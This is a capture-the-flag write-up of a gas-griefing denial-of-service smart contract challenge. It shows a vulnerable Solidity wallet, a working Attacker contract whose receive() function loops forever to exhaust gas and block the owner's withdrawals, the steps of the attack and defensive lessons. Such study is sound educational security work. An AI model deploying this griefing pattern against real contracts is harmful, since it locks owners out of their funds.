Stop_withdraw
🚩 Denial of Service via Gas Griefing
Challenge
“This is a simple wallet that drips funds over time. You can withdraw the funds slowly by becoming a withdrawing partner. If you can deny the owner from withdrawing funds when they call
withdraw()(whilst the contract still has funds, and the transaction is of 1M gas or less), you will win this level.”
Description
This level introduces a smart contract that allows an owner and a withdrawal partner to share the contract’s balance. The function withdraw() splits 1% of the balance between the partner and the owner.
The vulnerability lies in how the contract calls the partner using low-level call() without specifying a gas limit. This allows a malicious partner to consume all the gas, preventing the contract from completing the rest of the withdraw() function — particularly the owner’s transfer.
Given Contract Code
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Denial {
address public partner; // withdrawal partner - pay the gas, split the withdraw
address public constant owner = address(0xA9E);
uint256 timeLastWithdrawn;
mapping(address => uint256) withdrawPartnerBalances; // keep track of partners balances
function setWithdrawPartner(address _partner) public {
partner = _partner;
}
// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint256 amountToSend = address(this).balance / 100;
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call{value: amountToSend}("");
payable(owner).transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = block.timestamp;
withdrawPartnerBalances[partner] += amountToSend;
}
// allow deposit of funds
receive() external payable {}
// convenience function
function contractBalance() public view returns (uint256) {
return address(this).balance;
}
}
Exploit Code
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IDenial {
function setWithdrawPartner(address _partner) external;
}
contract Attacker {
IDenial public target;
constructor(address _target) {
target = IDenial(_target);
}
function becomePartner() public {
target.setWithdrawPartner(address(this));
}
// Consume all gas during fallback
receive() external payable {
while (true) {
// Infinite loop to drain all gas
}
}
}
Attack Flow
-
Deploy the
Attackercontract, passing in theDenialcontract address. -
Call
becomePartner()— this sets your malicious contract as the withdrawal partner. -
Now, whenever the
ownercallswithdraw():- The contract attempts to send funds to the
partnerusingpartner.call{value: amountToSend}(""). - Your
receive()function runs an infinite loop, consuming all gas. - The next line (
owner.transfer(...)) requires 2,300 gas, but there's not enough gas left. - The transaction fails, and the owner gets nothing.
- The contract attempts to send funds to the
-
The Denial contract now cannot process withdrawals — it is effectively DoS'd.
Lessons Learned
- Avoid using low-level
callwithout gas limits when interacting with unknown contracts. - Even if a
calldoesn’trevert, it can still sabotage your logic by consuming gas. - Always assume that external calls can behave maliciously — follow the Checks-Effects-Interactions pattern and guard against gas griefing.